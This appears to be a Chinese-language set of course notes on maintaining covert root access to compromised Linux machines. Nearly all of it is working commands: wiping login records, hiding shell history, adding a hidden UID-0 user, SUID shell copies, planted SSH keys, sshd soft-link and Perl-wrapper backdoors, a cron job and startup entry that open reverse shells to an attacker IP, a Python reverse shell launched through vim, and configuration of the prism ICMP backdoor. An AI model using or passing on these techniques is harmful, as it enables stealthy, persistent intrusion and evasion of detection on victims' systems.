1.隐藏踪迹
创建隐藏文件(ls不可见,ls -la可见):
代码语言:javascript复制vim .shell.php
修改时间戳(文件时间):
代码语言:javascript复制touch -r 老文件 shell.elf
文件锁定(赋予特殊权限,不允许更改):
代码语言:javascript复制chattr i shell.elf
无w、who、last等记录ssh:
代码语言:javascript复制ssh -T root@IP
清除last记录(登录信息):
代码语言:javascript复制echo '' > /var/log/wtmp
端口复用:
将来自IP访问80端口的流量转发到22端口
代码语言:javascript复制iptables -t nat -A PREROUTING -p tcp -s IP --dport 80 -j REDIRECT --to-port 22
ssh连接80端口
代码语言:javascript复制ssh -p 80 root@IP
历史命令记录隐藏:
set o history,停止记录
history,查看记录
history -d 序号,删除记录
2.添加root权限用户
直接添加
代码语言:javascript复制useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/hacker
修改/etc/passwd
生成密码->放入passwd最后一行
代码语言:javascript复制[root@localhost ~]# perl -le 'print crypt('123456',"addedsalt")'
adrla7IBSfTZQ
[root@localhost ~]# echo "hacker:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd
3.suid shell
让普通用户能用root
代码语言:javascript复制cp /bin/bash /tmp/shell
chmod u s /tmp/shell
此时普通用户可以用root
代码语言:javascript复制[ly@localhost root]$ /tmp/shell -p
shell-4.2# whoami
root
4.ssh公私钥
生成公私钥,回车就行(id_rsa是私钥、id_rsa.pub是公钥)
代码语言:javascript复制ssh-keygen -t rsa
查看公钥
代码语言:javascript复制cat /root/.ssh/id_rsa.pub
在对方电脑创建目录并放入公钥(注意粘贴开头可能少个s),重启服务
代码语言:javascript复制mkdir /root/.ssh
vim /root/.ssh/authorized_keys
systemctl restart sshd.service
无需密码连接
代码语言:javascript复制ssh root@IP
5.ssh软连接
需要PAM认证,下面UsePAM为yes
代码语言:javascript复制vim /etc/ssh/sshd_config
防火墙开放端口->重启->查看是否开放
代码语言:javascript复制firewall-cmd --add-port=7777/tcp --permanent
firewall-cmd --reload
firewall-cmd --query-port=7777/tcp
建立软连接
代码语言:javascript复制ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=7777
免密登录
代码语言:javascript复制ssh root@IP -p 7777
6.ssh wrapper
先开启ssh,将原本的sshd移位
代码语言:javascript复制systemctl start sshd.service
cd /usr/sbin/
mv sshd /
重写一个sshd,赋予权限
代码语言:javascript复制echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u x sshd
免密登录
代码语言:javascript复制socat STDIO TCP4:IP:22,sourceport=13377
7.计划任务
写一个反弹shell脚本并赋权
代码语言:javascript复制echo '#!/bin/bash' > /shell.sh
echo 'bash -i >& /dev/tcp/IP/6666 0>&1' >> /shell.sh
chmod sx /etc/shell.sh
添加一分钟一次的root权限计划任务
代码语言:javascript复制echo '*/1 * * * * root /shell.sh' >> /etc/crontab
systemctl restart crond.service
8.启动项
添加后门路径并赋权
代码语言:javascript复制echo '/shell.elf' >> /etc/rc.d/rc.local
chmod x /etc/rc.d/rc.local
9.vim python后门
vim --version,看支不支持python3
反弹shell脚本,一个socket服务端,vim shell.py写入
代码语言:javascript复制import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("IP", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
NC监听并在对方电脑执行(可能需要等一下)
代码语言:javascript复制vim -E -c "py3file shell.py"
10.icmp后门工具
https://github.com/andreafabrizi/prism
代码语言:javascript复制vim prism.c
填反弹IP、端口、时间、密码、进程名
代码语言:javascript复制# define REVERSE_HOST "192.168.1.225"
# define REVERSE_PORT 19832
# define RESPAWN_DELAY 10
# define ICMP_KEY "123456"
# define PROCESS_NAME "mysql"
后台编译生成prism在对方电脑并运行
代码语言:javascript复制gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
./prism
NC监听并在自己电脑执行
代码语言:javascript复制python2 ./sendPacket.py 对方IP 密码 自己IP 端口
11.Reptile工具
https://github.com/f0rb1dd3n/Reptile
本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16941099.html